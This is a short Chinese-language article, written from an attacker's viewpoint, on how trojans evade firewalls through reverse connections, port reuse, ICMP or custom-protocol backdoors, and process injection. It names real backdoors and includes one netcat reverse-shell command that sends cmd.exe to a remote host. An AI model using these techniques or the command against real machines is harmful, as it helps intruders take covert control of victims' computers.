网络不太平,谁上网都会架起个firewall来防护网络攻击
这岂不是给我们木马的生存带来了巨大挑战?
物竞天择,适者生存,嗯...要想生存下去就要穿墙! Bypass Firewall:
1.首先就是No Firewall(允许本地对外监听基本上任何端口),没有防火墙?(这不是废话?)
对付这种机器好办,随便哪个马一般都行
典型代表 Radmin(其实它不是马,用的人多了,也就变成了马,无辜)
rdp 3389/tcp (远程桌面,它也不是马,不过你不用,还有谁用呢?)
2.端口筛选(只允许外部连接特定端口,也就是外部对特定端口发起syn连接请求才被接受,从而完成三次握手,建立连接,否则防火墙丢弃数据包,无法完成握手,无法建立连接,也就是木马不能随意开个端口就监听了)
道高一尺,魔高一丈.:
你不让我连你,我就让你连我呗, 反弹端口技术诞生了(一般防火墙对本地发起的syn连接请求不会拦截)
使用工具netcat就可以穿刺这种防火墙 :
nc -e cmd.exe 远程ip 远程监听port
将会反弹一个cmdshell给远程ip主机控制,,这种方式好就好在可以控制没有公网ip的受害主机.
随后,端口复用技术也出现了,复用防火墙开放的端口:如80,21,445等
典型的后门如hkdoor,ntrookit(作者都是国人yyt_hac )
还有利用无端口协议来通信,如利用icmp报文,(Ping就是利用的ICMP协议的 Echo Request和Echo Reply探测主机存活)
典型的如pingdoor (Ping由于使用icmp报文,根本不开放端口,端口筛选也就无可奈何了,但是icmp并无差错控制,所以这种后门的传输特性也并不理想,除非自己加上差错控制)
更牛的,就是干脆抛开TCP/IP协议,木马自定义协议进行通信,你防火墙能把我怎么样?哈哈
典型的如ntrootkit采用了自定义协议技术.
3.应用程序筛选.(只允许特定程序访问网络)
木马也不甘落后,自己不能访问网络,只好寄人篱下:
进程插入技术诞生了,通常firewall都要允许iexplore.exe,explore.exe,svchost.exe,services.exe等程序访问网络,于是木马便盯上了这些程序.插入...插入再插入
现在的远程控制一般都是插入进程式,一是隐蔽(没有自己进程),二是穿墙.典型如Bits.dll(替换系统服务BITS,插入svchost.exe中) 和灰鸽子/PcShare(默认插入iexplorer.exe浏览器进程)等. |